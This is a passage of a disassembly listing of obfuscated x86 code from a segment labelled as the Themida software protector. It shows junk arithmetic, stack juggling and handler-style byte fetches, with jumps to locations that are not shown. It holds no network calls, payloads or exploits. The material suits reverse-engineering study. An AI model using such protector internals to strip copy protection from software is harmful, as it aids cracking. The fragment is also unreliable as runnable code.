shr ebp, 5
xchg edi, ebp
jmp loc_5A27B1
; ---------------------------------------------------------------------------
loc_59BCD6: ; CODE XREF: Themida_:0059EAEEj
pop ebx
sub eax, edx
mov edx, [esp]
add esp, 4
push esi
mov esi, 2B81480Ah
sub eax, esi
pop esi
push ecx
mov ecx, 2F405EB5h
jmp loc_59C9A9
; ---------------------------------------------------------------------------
loc_59BCF6: ; CODE XREF: Themida_:0059F24Bj
push ecx
mov ch, 32h
sub al, ch
mov ecx, [esp]
push ecx
mov ecx, esp
jmp loc_59218A
; ---------------------------------------------------------------------------
loc_59BD06: ; CODE XREF: Themida_:0059EF0Cj
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_5A16B5
; ---------------------------------------------------------------------------
loc_59BD12: ; CODE XREF: Themida_:00594C6Cj
push ecx
mov ecx, esp
jmp loc_5995E9
; ---------------------------------------------------------------------------
loc_59BD1A: ; CODE XREF: Themida_:00594E30j
add ebp, 0ED31881h
add ebp, 0D7A8FEE2h
mov esi, ebp
pop ebp
and esi, 31234352h
push esi
not dword ptr [esp]
jmp loc_595DA1
; ---------------------------------------------------------------------------
loc_59BD38: ; CODE XREF: Themida_:0059D9B7j
not eax
add eax, 1
sub eax, 9A0DB0A2h
add esi, eax
pop eax
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5A0216
; ---------------------------------------------------------------------------
loc_59BD55: ; CODE XREF: Themida_:0059A180j
mov esi, 3580004Bh
jmp loc_59104A
; ---------------------------------------------------------------------------
loc_59BD5F: ; CODE XREF: Themida_:00592A53j
mov ebx, ebp
pop ebp
sub ebx, 43DA6F72h
shr ebx, 3
sub ebx, 0FFFFFFFFh
xor ebx, 3F4D0798h
and ebx, 539F1F4Ah
add ebx, 1EB30C75h
sub ecx, ebx
pop ebx
neg ecx
jmp loc_59A69D
; ---------------------------------------------------------------------------
loc_59BD8A: ; CODE XREF: Themida_:005A10DBj
pop ebx
add al, cl
mov cx, [esp]
add esp, 2
sub al, bl
jmp loc_59EA57
; ---------------------------------------------------------------------------
loc_59BD9B: ; CODE XREF: Themida_:00594730j
pop dword ptr [esp]
pop esp
sub [esp+4], ebx
add dword ptr [esp+4], 1DDB3106h
pop ebx
jmp loc_59FA87
; ---------------------------------------------------------------------------
loc_59BDB1: ; CODE XREF: Themida_:00595B3Ej
add ecx, 0CC618F0h
sub esi, 43AC6B4Fh
sub esi, 0C654D57h
add esi, ecx
add esi, 0C654D57h
add esi, 43AC6B4Fh
jmp loc_59513C
; ---------------------------------------------------------------------------
loc_59BDD6: ; CODE XREF: Themida_:005A0057j
add esi, 0FFFFFFFFh
jmp loc_595B63
; ---------------------------------------------------------------------------
loc_59BDE1: ; CODE XREF: Themida_:00597C0Ej
mov ebp, 2B4554Eh
push edx
push ebx
mov ebx, 7B354D75h
mov edx, 3A5A093Fh
xor edx, ebx
pop ebx
xor ebp, edx
pop edx
jmp loc_594EFB
; ---------------------------------------------------------------------------
loc_59BDFD: ; CODE XREF: Themida_:00596F49j
mov bl, dl
jmp loc_59665A
; ---------------------------------------------------------------------------
loc_59BE04: ; CODE XREF: Themida_:005A1DA0j
pop esp
jmp loc_599487
; ---------------------------------------------------------------------------
loc_59BE0A: ; CODE XREF: Themida_:0059907Aj
pop esp
sub esp, 4
mov [esp], eax
mov eax, 5A150277h
add eax, 0CFA17471h
push ecx
mov ecx, 0F2F39C2h
and ecx, 0FD31146h
shr ecx, 3
add ecx, 79C81976h
sub ecx, 51F204B8h
add eax, 68BE5230h
jmp loc_58EF13
; ---------------------------------------------------------------------------
loc_59BE40: ; CODE XREF: Themida_:00594125j
push dword ptr [esp]
jmp loc_592912
; ---------------------------------------------------------------------------
loc_59BE48: ; CODE XREF: Themida_:0059FC15j
mov dh, bh
jmp loc_58F1BD
; ---------------------------------------------------------------------------
loc_59BE4F: ; CODE XREF: Themida_:00590524j
sub dh, 0FFh
sub esp, 4
mov [esp], ebx
mov bl, 45h
inc bl
shr bl, 2
sub esp, 4
mov [esp], ecx
mov cl, 0D0h
or bl, cl
pop ecx
sub bl, 0B6h
xor dh, bl
mov ebx, [esp]
push ecx
jmp loc_59AB1F
; ---------------------------------------------------------------------------
loc_59BE7E: ; CODE XREF: Themida_:0059F523j
push dword ptr [esp]
jmp loc_59B560
; ---------------------------------------------------------------------------
loc_59BE86: ; CODE XREF: Themida_:0059C5B4j
sub eax, edi
jmp loc_59D0A2
; ---------------------------------------------------------------------------
loc_59BE8D: ; CODE XREF: Themida_:005999EAj
sub edx, 4
jmp loc_59CFAE
; ---------------------------------------------------------------------------
loc_59BE95: ; CODE XREF: Themida_:0059339Bj
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop ebp
push 662Ch
mov [esp], ebx
mov ebx, 400h
and eax, ebx
push dword ptr [esp]
pop ebx
push edx
push esp
jmp loc_5A0CAE
; ---------------------------------------------------------------------------
loc_59BEC9: ; CODE XREF: Themida_:00596C13j
mov [esp], ebp
push eax
push 6A12h
mov [esp], edi
jmp loc_591E02
; ---------------------------------------------------------------------------
loc_59BEDA: ; CODE XREF: Themida_:0059A92Cj
add esp, 4
sub eax, 66F67FC2h
jmp loc_58F232
; ---------------------------------------------------------------------------
loc_59BEE7: ; CODE XREF: Themida_:0059AFEFj
push ecx
mov ecx, 2A7A3D20h
xor ecx, 30E3662h
push eax
mov eax, 3A5055D4h
xor ecx, eax
pop eax
sub esi, ecx
pop ecx
mov ebp, [esp]
add esp, 4
xchg esi, [esp]
jmp loc_58F015
; ---------------------------------------------------------------------------
loc_59BF0D: ; CODE XREF: Themida_:0059A007j
not esi
push 3746h
mov [esp], ecx
jmp loc_59B4B9
; ---------------------------------------------------------------------------
loc_59BF1C: ; CODE XREF: Themida_:00593D23j
xor edi, [esp]
pop esp
and [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59BF2A: ; CODE XREF: sub_590877+4015j
mov dl, 33h
jmp loc_59767C
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_59BF31: ; CODE XREF: Themida_:00590719j
sub esp, 4
mov [esp], edx
push 517E7BB6h
pop edx
and edx, 150456AAh
or edx, 499627EBh
sub esp, 4
mov [esp], ebp
push 2059787Eh
pop ebp
xchg ecx, ebp
dec ecx
jmp loc_5939DB
; ---------------------------------------------------------------------------
loc_59BF60: ; CODE XREF: Themida_:0059322Ej
sub ecx, 70BC33C8h
sub ecx, edx
add ecx, 70BC33C8h
pop edx
xchg ecx, [esp]
pop esp
jmp loc_5A2C9A
; ---------------------------------------------------------------------------
loc_59BF78: ; CODE XREF: Themida_:005A1F81j
xor ah, ch
pop ecx
sub ah, 4Dh
add dh, 0DFh
add dh, ah
jmp loc_58FABB
; ---------------------------------------------------------------------------
loc_59BF88: ; CODE XREF: Themida_:005A013Bj
pop edx
jmp loc_59495E
; ---------------------------------------------------------------------------
push dx
jmp loc_59E410
; ---------------------------------------------------------------------------
loc_59BF95: ; CODE XREF: Themida_:0059DF2Bj
push ecx
push 5B4921D3h
pop ecx
jmp loc_5A0307
; ---------------------------------------------------------------------------
loc_59BFA1: ; CODE XREF: Themida_:00598F47j
add esp, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_5A2678
; ---------------------------------------------------------------------------
loc_59BFB4: ; CODE XREF: Themida_:005933CEj
add esp, 4
add edi, 4
sub edi, 4
jmp loc_598D14
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59BFCE: ; CODE XREF: Themida_:0059D3D9j
mov bl, ch
pop ecx
mov edx, [esp]
add esp, 4
jmp loc_59A42D
; ---------------------------------------------------------------------------
loc_59BFDC: ; CODE XREF: Themida_:00591713j
sub esp, 4
jmp loc_598E0C
; ---------------------------------------------------------------------------
loc_59BFE7: ; CODE XREF: Themida_:00592E2Bj
add ecx, eax
pop eax
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A07B4
; ---------------------------------------------------------------------------
loc_59BFF6: ; CODE XREF: Themida_:005968CBj
add ebp, 0CF42BAA2h
add ecx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5947C2
; ---------------------------------------------------------------------------
loc_59C00C: ; CODE XREF: Themida_:005A1075j
pop esp
shr eax, 18h
xor eax, ecx
push 70ACh
mov [esp], eax
xor [esp], esi
xor esi, [esp]
xor [esp], esi
xor esi, edi
xor edi, esi
xor esi, edi
sub esp, 4
mov [esp], edi
push esi
jmp loc_5A16A7
; ---------------------------------------------------------------------------
loc_59C038: ; CODE XREF: Themida_:0059CE05j
xor bl, 91h
dec bl
add bl, 20h
jmp loc_59408F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596B96
loc_59C045: ; CODE XREF: sub_596B96-864Ej
sub eax, edi
pop edi
xchg eax, [esp+0]
pop esp
mov [esp-4+arg_0], ecx
push edi
mov edi, 1C7A6412h
push ecx
mov ecx, 16BE093Ah
or edi, ecx
pop ecx
xor edi, 1EFE6D38h
mov ecx, edi
pop edi
jmp loc_595A06
; END OF FUNCTION CHUNK FOR sub_596B96
; ---------------------------------------------------------------------------
loc_59C06C: ; CODE XREF: Themida_:0059237Fj
or [edi+1Ch], ebp
mov ebp, [esp]
push eax
jmp loc_5A1974
; ---------------------------------------------------------------------------
loc_59C078: ; CODE XREF: Themida_:005918E3j
pop dword ptr [esp]
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
mov edi, [esp]
push edi
mov edi, esp
jmp loc_594903
; ---------------------------------------------------------------------------
loc_59C091: ; CODE XREF: Themida_:005974E1j
add ecx, ebx
pop ebx
add edi, ecx
pop ecx
mov edx, edi
mov edi, [esp]
add esp, 4
push edi
mov edi, 20BC1BD0h
add edx, edi
pop edi
sub esi, edx
mov edx, [esp]
add esp, 4
jmp loc_58F45E
; ---------------------------------------------------------------------------
loc_59C0B8: ; CODE XREF: Themida_:0058F6F1j
shl edx, 1
push ebx
push 6E883234h
pop ebx
sub ebx, 6E883235h
sub [edi+24h], ebx
mov ebx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
push ebx
mov ebx, 3BAE2725h
push edi
mov edi, 5C406DECh
sub ebx, edi
pop edi
dec ebx
shr ebx, 3
sub ebx, 1BEDB723h
add ecx, 445C0174h
add ecx, 53475503h
add ecx, 2332037Dh
add ecx, ebx
sub ecx, 2332037Dh
sub ecx, 53475503h
sub ecx, 445C0174h
mov ebx, [esp]
add esp, 4
jmp loc_5A2A44
; ---------------------------------------------------------------------------
loc_59C122: ; CODE XREF: Themida_:0059FA69j
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
sub ecx, 4
jmp loc_59F4F3
; ---------------------------------------------------------------------------
loc_59C139: ; CODE XREF: Themida_:0059ED98j
pop ebx
shl esi, 2
sub esi, 1
neg esi
not esi
dec esi
jmp loc_5A0668
; ---------------------------------------------------------------------------
loc_59C14D: ; CODE XREF: Themida_:00598394j
mov fs:[edx], ax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59C156: ; CODE XREF: Themida_:00597F19j
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_595639
; ---------------------------------------------------------------------------
loc_59C162: ; CODE XREF: Themida_:005A0965j
pop ebx
xchg ebp, [esp]
pop esp
mov [esp], esi
push ebx
mov ebx, 2
push ecx
push ebx
jmp loc_5A2837
; ---------------------------------------------------------------------------
loc_59C177: ; CODE XREF: Themida_:005A02F2j
or ecx, 565858FFh
jmp loc_599EC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_59C182: ; CODE XREF: sub_5A1999+5C0j
sub eax, 1F531804h
add eax, ebx
add eax, 1F531804h
push [esp-8+arg_4]
pop ebx
add esp, 4
jmp sub_592E30
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_59C19D: ; CODE XREF: Themida_:005916F5j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A12DC
; ---------------------------------------------------------------------------
loc_59C1A8: ; CODE XREF: Themida_:0059DED9j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
push 16Bh
mov [esp], esp
push esi
mov esi, 426C7E0Fh
xor esi, 5F8E513Dh
add esi, 6A045656h
xor esi, 87E6858Ch
add [esp+4], esi
pop esi
pop dword ptr [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_59213A
; ---------------------------------------------------------------------------
loc_59C1EA: ; CODE XREF: Themida_:00599A48j
and edi, 1D7105A7h
add edi, 31BE44A2h
push eax
mov eax, 233418A3h
sub edx, 0EB929D8h
add edx, eax
push 61DEh
mov [esp], edi
mov edi, 0EB929D8h
add edx, edi
pop edi
mov eax, [esp]
add esp, 4
sub edx, edi
sub edx, 233418A3h
pop edi
jmp loc_5A1499
; ---------------------------------------------------------------------------
loc_59C228: ; CODE XREF: Themida_:0059AAF5j
push 4B0Fh
mov [esp], edx
mov edx, esp
push ecx
mov ecx, 4
jmp loc_5A18C6
; ---------------------------------------------------------------------------
loc_59C23D: ; CODE XREF: Themida_:00595EB4j
push 0
sub [esp], edx
pop edx
shl edx, 3
jmp loc_59815A
; ---------------------------------------------------------------------------
loc_59C24E: ; CODE XREF: Themida_:0059731Ej
sub ebp, 0EBC0C709h
sub eax, 272D2CB9h
sub eax, ebp
add eax, 272D2CB9h
pop ebp
jmp loc_598212
; ---------------------------------------------------------------------------
loc_59C266: ; CODE XREF: Themida_:0059360Dj
add esp, 4
pop ebp
add edx, esi
pop esi
mov edi, [esp]
add esp, 4
add edx, 2
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_58F147
; ---------------------------------------------------------------------------
loc_59C287: ; CODE XREF: Themida_:005A15E2j
xor ebp, 0F61B39D3h
and ebp, 3D787B3Ch
xor ebp, 5182A2Eh
add esi, 13245E96h
add esi, 2CFA6C38h
add esi, ebp
jmp loc_59AFE9
; ---------------------------------------------------------------------------
loc_59C2AC: ; CODE XREF: Themida_:0059A374j
push ebx
mov bh, 0D6h
mov ah, 0A0h
jmp loc_591D9F
; ---------------------------------------------------------------------------
loc_59C2B6: ; CODE XREF: Themida_:0059B7FBj
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
jmp loc_58FD59
; ---------------------------------------------------------------------------
loc_59C2C5: ; CODE XREF: Themida_:0059F541j
mov eax, 2223358Eh
jmp loc_59F487
; ---------------------------------------------------------------------------
loc_59C2CF: ; CODE XREF: Themida_:0059E173j
mov ebx, 75C37148h
mov edx, ebx
pop ebx
and edx, 7B36CDEh
sub edx, 3FCD5F98h
xor ebx, edx
mov edx, [esp]
add esp, 4
add ebp, ebx
mov ebx, [esp]
add esp, 4
add ebp, 4
jmp loc_59DB0B
; ---------------------------------------------------------------------------
loc_59C301: ; CODE XREF: Themida_:00593C93j
mov ebx, 0D82212F0h
jmp loc_59A1EC
; ---------------------------------------------------------------------------
loc_59C30B: ; CODE XREF: Themida_:0058E5F1j
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_5910DE
; ---------------------------------------------------------------------------
loc_59C31C: ; DATA XREF: Themida_:0058E23Co
mov cx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
sub esp, 4
mov [esp], ebx
jmp loc_5A2323
; ---------------------------------------------------------------------------
loc_59C333: ; CODE XREF: Themida_:005945A5j
shl edi, 6
xor edi, 793C779Fh
jmp loc_5A280D
; ---------------------------------------------------------------------------
loc_59C341: ; CODE XREF: Themida_:00593745j
pop esp
add esp, 4
and eax, ebx
mov ebx, [esp]
add esp, 4
push eax
push ecx
pop eax
pop ecx
not ecx
jmp loc_599F47
; ---------------------------------------------------------------------------
loc_59C358: ; CODE XREF: Themida_:00599E74j
push edi
push ecx
mov ecx, 1E8271DEh
mov edi, ecx
pop ecx
shl edi, 6
add edi, 19D262ECh
sub esp, 4
mov [esp], ecx
push edi
jmp loc_59BC9A
; ---------------------------------------------------------------------------
loc_59C37A: ; CODE XREF: Themida_:00594511j
sub edi, 74DF5119h
sub edi, 758B45A0h
add edi, ecx
jmp loc_596F68
; ---------------------------------------------------------------------------
loc_59C38D: ; CODE XREF: Themida_:0059F6E4j
push 65B9h
mov [esp], edx
jmp loc_59D3D2
; ---------------------------------------------------------------------------
loc_59C39A: ; CODE XREF: Themida_:005972C3j
mov eax, 1E882743h
add [esp+0Ch], eax
pop eax
jmp loc_5A0E62
; ---------------------------------------------------------------------------
loc_59C3A9: ; CODE XREF: Themida_:0059F8BBj
pop edi
xor eax, ebp
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_5A1EBA
; ---------------------------------------------------------------------------
loc_59C3C3: ; CODE XREF: Themida_:0058F08Bj
push 513B3350h
jmp loc_59A185
; ---------------------------------------------------------------------------
loc_59C3CD: ; CODE XREF: Themida_:00594A0Fj
mov ebx, [esp]
add esp, 4
jmp loc_58F687
; ---------------------------------------------------------------------------
loc_59C3D8: ; CODE XREF: Themida_:0059D2DEj
add esi, 6452B79h
add esi, ebx
sub esi, 6452B79h
pop ebx
push edi
push ecx
jmp loc_594EEB
; ---------------------------------------------------------------------------
loc_59C3EE: ; CODE XREF: Themida_:00591878j
push esp
jmp loc_59011D
; ---------------------------------------------------------------------------
loc_59C3F4: ; CODE XREF: Themida_:00598486j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push edi
push esp
jmp loc_593902
; =============== S U B R O U T I N E =======================================
sub_59C407 proc near ; DATA XREF: Themida_:0058E11Co
var_C = dword ptr -0Ch
; FUNCTION CHUNK AT 005A0A8F SIZE 0000000B BYTES
lodsd
xor eax, ebx
push edi
push ebx
sub esp, 4
mov [esp+0Ch+var_C], edx
mov edx, esp
jmp loc_5A0A8F
sub_59C407 endp
; ---------------------------------------------------------------------------
loc_59C419: ; CODE XREF: Themida_:005A08EAj
add edx, 600313A1h
push ebp
jmp loc_5A1436
; ---------------------------------------------------------------------------
loc_59C425: ; CODE XREF: Themida_:0059DCFAj
push ebx
mov ebx, 31317E1Dh
push ebx
jmp loc_5A2894
; ---------------------------------------------------------------------------
loc_59C431: ; CODE XREF: Themida_:005A06CCj
xor esi, [esp]
mov esp, [esp]
xor edx, [esp]
jmp loc_5A254F
; ---------------------------------------------------------------------------
loc_59C43F: ; CODE XREF: Themida_:0059392Fj
push edi
mov edi, 2E7E2E16h
jmp loc_5982EF
; ---------------------------------------------------------------------------
loc_59C44A: ; CODE XREF: Themida_:005A1204j
add bl, ah
sub bl, 0E1h
pop ax
sub bl, al
jmp loc_5960E5
; ---------------------------------------------------------------------------
loc_59C458: ; CODE XREF: Themida_:00599613j
pop eax
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_59FF73
; ---------------------------------------------------------------------------
loc_59C46C: ; CODE XREF: Themida_:005900E9j
mov ebx, [esp]
add esp, 4
push eax
mov eax, 4
add ebx, eax
pop eax
push esi
mov esi, 4
add ebx, esi
pop esi
xchg ebx, [esp]
jmp loc_590B8C
; ---------------------------------------------------------------------------
lodsb
xor al, bl
sub esp, 4
mov [esp], edx
push ecx
push edx
mov dl, 0F7h
mov cl, 0E1h
sub cl, dl
push dword ptr [esp]
pop edx
push edi
jmp loc_595A7A
; ---------------------------------------------------------------------------
loc_59C4AD: ; CODE XREF: Themida_:0059D8DDj
xor edi, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_590F6C
; ---------------------------------------------------------------------------
loc_59C4BD: ; CODE XREF: Themida_:0059457Cj
not dword ptr [esp]
jmp loc_596299
; ---------------------------------------------------------------------------
loc_59C4C5: ; CODE XREF: Themida_:005916AEj
xchg eax, [esp]
jmp loc_59156C
; ---------------------------------------------------------------------------
loc_59C4CD: ; CODE XREF: Themida_:0059559Cj
shl eax, 5
jmp loc_59CC67
; ---------------------------------------------------------------------------
loc_59C4D5: ; CODE XREF: Themida_:0058F150j
push ebx
mov bl, dl
jmp loc_59D911
; ---------------------------------------------------------------------------
loc_59C4DD: ; CODE XREF: Themida_:005A2354j
sub esi, ebp
pop ebp
push ecx
mov ecx, 3C051ABAh
add ecx, 56F24C78h
xor esi, ecx
jmp loc_5915F0
; ---------------------------------------------------------------------------
loc_59C4F3: ; CODE XREF: Themida_:00594D21j
and ebx, 46615A65h
push ecx
mov ecx, 29FD7D29h
xor ecx, 4579436Dh
jmp loc_5A2A83
; ---------------------------------------------------------------------------
loc_59C50A: ; CODE XREF: Themida_:005A2698j
add eax, 12935CFEh
jmp loc_58E516
; ---------------------------------------------------------------------------
loc_59C514: ; CODE XREF: Themida_:00598CDFj
mov eax, esp
push ebp
jmp loc_591EFA
; ---------------------------------------------------------------------------
lodsb
push edx
push 24C8h
mov [esp], eax
jmp loc_592091
; ---------------------------------------------------------------------------
loc_59C52B: ; CODE XREF: Themida_:00598240j
xor esi, 8243225h
push ecx
jmp loc_59038A
; ---------------------------------------------------------------------------
loc_59C537: ; CODE XREF: Themida_:005A12E5j
add esp, 4
add esp, 4
push ecx
mov ecx, esp
push edi
mov edi, 4
add ecx, edi
pop edi
jmp loc_59CC59
; ---------------------------------------------------------------------------
loc_59C551: ; CODE XREF: Themida_:00590DEEj
push 355Dh
mov [esp], ebx
pop ebp
jmp loc_5A01D8
; ---------------------------------------------------------------------------
loc_59C55F: ; CODE XREF: Themida_:0059D81Cj
xchg edx, [esp]
mov esp, [esp]
add esi, 4
jmp loc_59837E
; ---------------------------------------------------------------------------
loc_59C570: ; CODE XREF: Themida_:0059B033j
mov eax, [esp]
add esp, 4
push ecx
jmp loc_59D5B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_59C57C: ; CODE XREF: sub_59FCFF-FCD2j
mov eax, 0D6A2EF57h
sub esi, eax
pop eax
push edx
jmp loc_59A319
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_59C58A: ; DATA XREF: Themida_:0058E078o
push 6E4Fh
mov [esp], edx
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59C597: ; CODE XREF: Themida_:00591620j
push edi
jmp loc_5948EB
; ---------------------------------------------------------------------------
loc_59C59D: ; CODE XREF: Themida_:005902A3j
add esp, 4
push edx
mov edx, 12EC66D9h
sub eax, edx
pop edx
push edi
mov edi, 75EA7AB4h
sub eax, 71F62C3Fh
jmp loc_59BE86
; ---------------------------------------------------------------------------
loc_59C5B9: ; CODE XREF: Themida_:00597098j
mov esp, [esp]
mov [esp], eax
xchg esi, [esp]
jmp loc_592D1B
; ---------------------------------------------------------------------------
loc_59C5C7: ; CODE XREF: Themida_:005907F1j
add eax, esi
pop esi
jmp loc_5A1DCB
; ---------------------------------------------------------------------------
loc_59C5CF: ; CODE XREF: Themida_:005A1584j
xor ecx, 3104F5Fh
dec ecx
add ecx, 196BE213h
sub ebp, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_5941DD
; ---------------------------------------------------------------------------
loc_59C5F6: ; CODE XREF: Themida_:0059F4FFj
mov ecx, [esp]
push 2A72h
mov [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A105C
; ---------------------------------------------------------------------------
loc_59C615: ; CODE XREF: Themida_:0058E8D0j
sub eax, 98B1DA1h
add eax, 1AF7016Bh
push 21BDh
jmp loc_59765A
; ---------------------------------------------------------------------------
loc_59C629: ; CODE XREF: Themida_:0059CB5Dj
mov [esp], ebp
jmp loc_58F1DB
; ---------------------------------------------------------------------------
loc_59C631: ; CODE XREF: Themida_:00596312j
sub esi, 6CA75923h
dec esi
add esi, 2BB1971Ch
jmp loc_59F250
; ---------------------------------------------------------------------------
loc_59C643: ; CODE XREF: Themida_:0059514Bj
add esp, 4
push 976h
mov [esp], esi
xor dword ptr [esp], 2B0672EBh
push dword ptr [esp]
pop edi
jmp loc_58F195
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59C65E: ; CODE XREF: sub_59DA2F-A486j
add esi, 2
xchg esi, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
push edi
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
jmp loc_594547
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59C67A: ; CODE XREF: Themida_:005A1E11j
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
sub esp, 4
mov [esp], eax
push 1869h
jmp loc_5A2B0B
; ---------------------------------------------------------------------------
loc_59C699: ; CODE XREF: Themida_:00597E67j
not bh
mov dh, bh
pop bx
shr dh, 8
shl dh, 1
push 93Eh
mov [esp], eax
mov al, 14h
shr al, 3
and al, 0AEh
and al, 89h
sub al, 34h
sub dh, al
push dword ptr [esp]
pop eax
add esp, 4
shl dh, 6
add dh, 4Bh
add al, dh
jmp loc_5A2359
; ---------------------------------------------------------------------------
loc_59C6CD: ; CODE XREF: Themida_:0059F16Bj
and ebx, 7B7A7825h
shl ebx, 4
or ebx, 548E0891h
sub ebx, 4F1D280Ah
sub ebx, 0E3F9FBEEh
add eax, ebx
pop ebx
push small word ptr [eax]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59C6F3: ; CODE XREF: Themida_:0059DB06j
pop edx
push edx
push esi
push 6B757EF1h
pop esi
sub esi, 0FA6F57A3h
jmp loc_599711
; ---------------------------------------------------------------------------
loc_59C707: ; CODE XREF: Themida_:005A2E4Dj
pop ebx
mov ebx, [esp]
add esp, 4
shl ebp, 5
sub esp, 4
mov [esp], eax
mov eax, 0E530D279h
jmp loc_59B980
; ---------------------------------------------------------------------------
loc_59C724: ; CODE XREF: Themida_:005930F5j
sub ebp, 6C9E0BB5h
jmp loc_595FDA
; ---------------------------------------------------------------------------
loc_59C72F: ; CODE XREF: Themida_:0059049Ej
mov ecx, 126A40F4h
shr ecx, 5
dec ecx
shl ecx, 6
xor ecx, 52A94BBh
push eax
mov eax, ecx
mov edx, eax
pop eax
pop ecx
mov ebp, edx
pop edx
add ebp, 709D0B58h
push 27E8h
mov [esp], esi
mov esi, 2413213Bh
jmp loc_59DB6E
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
push 39E5h
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
mov esi, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_592B63
; ---------------------------------------------------------------------------
loc_59C793: ; CODE XREF: Themida_:005923ACj
sub esi, 4E0F3D08h
add esi, 121957DCh
jmp loc_595529
; ---------------------------------------------------------------------------
loc_59C7A4: ; CODE XREF: Themida_:0059B4D6j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_59423E
; ---------------------------------------------------------------------------
loc_59C7CB: ; CODE XREF: Themida_:005A29E2j
mov ebp, esi
pop esi
jmp loc_5A0470
; ---------------------------------------------------------------------------
lodsb
jmp loc_59A70A
; ---------------------------------------------------------------------------
loc_59C7D9: ; CODE XREF: Themida_:005932A4j
add ebx, 6425245Bh
jmp loc_5A1CF6
; ---------------------------------------------------------------------------
loc_59C7E4: ; CODE XREF: Themida_:00598276j
pop ebx
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push small 37Bh
mov [esp], cx
push ebx
push edx
jmp loc_59A00C
; ---------------------------------------------------------------------------
loc_59C801: ; CODE XREF: Themida_:00593176j
add edi, esi
pop esi
xchg edi, [esp]
pop esp
push ebp
push esp
jmp loc_5961B9
; ---------------------------------------------------------------------------
loc_59C80F: ; CODE XREF: Themida_:0059901Fj
push esp
push dword ptr [esp]
mov edx, [esp]
push ebx
push esp
pop ebx
add ebx, 4
jmp loc_591F1F
; ---------------------------------------------------------------------------
loc_59C824: ; CODE XREF: Themida_:005A1947j
add edi, 101024EBh
mov esi, [esp]
jmp loc_58FD67
; ---------------------------------------------------------------------------
loc_59C832: ; CODE XREF: Themida_:005A159Aj
add esi, 1C72757Dh
sub esi, edi
sub esi, 1C72757Dh
pop edi
push 7857h
mov [esp], edx
mov edx, 7FEC4466h
jmp loc_592306
; ---------------------------------------------------------------------------
loc_59C853: ; CODE XREF: Themida_:0059BB8Bj
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_59A193
; ---------------------------------------------------------------------------
loc_59C85F: ; CODE XREF: Themida_:0059E693j
push 7AAEh
mov [esp], edx
push ebx
mov bh, 37h
mov dh, bh
mov ebx, [esp]
jmp loc_596012
; ---------------------------------------------------------------------------
loc_59C874: ; CODE XREF: Themida_:0059EF74j
add eax, 6E7003EEh
pop ebp
jmp loc_5A1D9A
; ---------------------------------------------------------------------------
loc_59C87F: ; CODE XREF: Themida_:0059A384j
pop edx
xor ecx, ebp
jmp loc_590A67
; ---------------------------------------------------------------------------
loc_59C887: ; CODE XREF: Themida_:005962C0j
xor ecx, [esp]
jmp loc_59194A
; ---------------------------------------------------------------------------
loc_59C88F: ; CODE XREF: Themida_:00592BF8j
mov [esp], ebp
mov ebp, 63041B37h
jmp loc_5A1638
; ---------------------------------------------------------------------------
loc_59C89C: ; CODE XREF: Themida_:005955C4j
sub edx, 5EE7084Dh
sub edx, esi
jmp loc_5965E3
; ---------------------------------------------------------------------------
loc_59C8A9: ; CODE XREF: Themida_:0059DB1Fj
sub ebx, 4
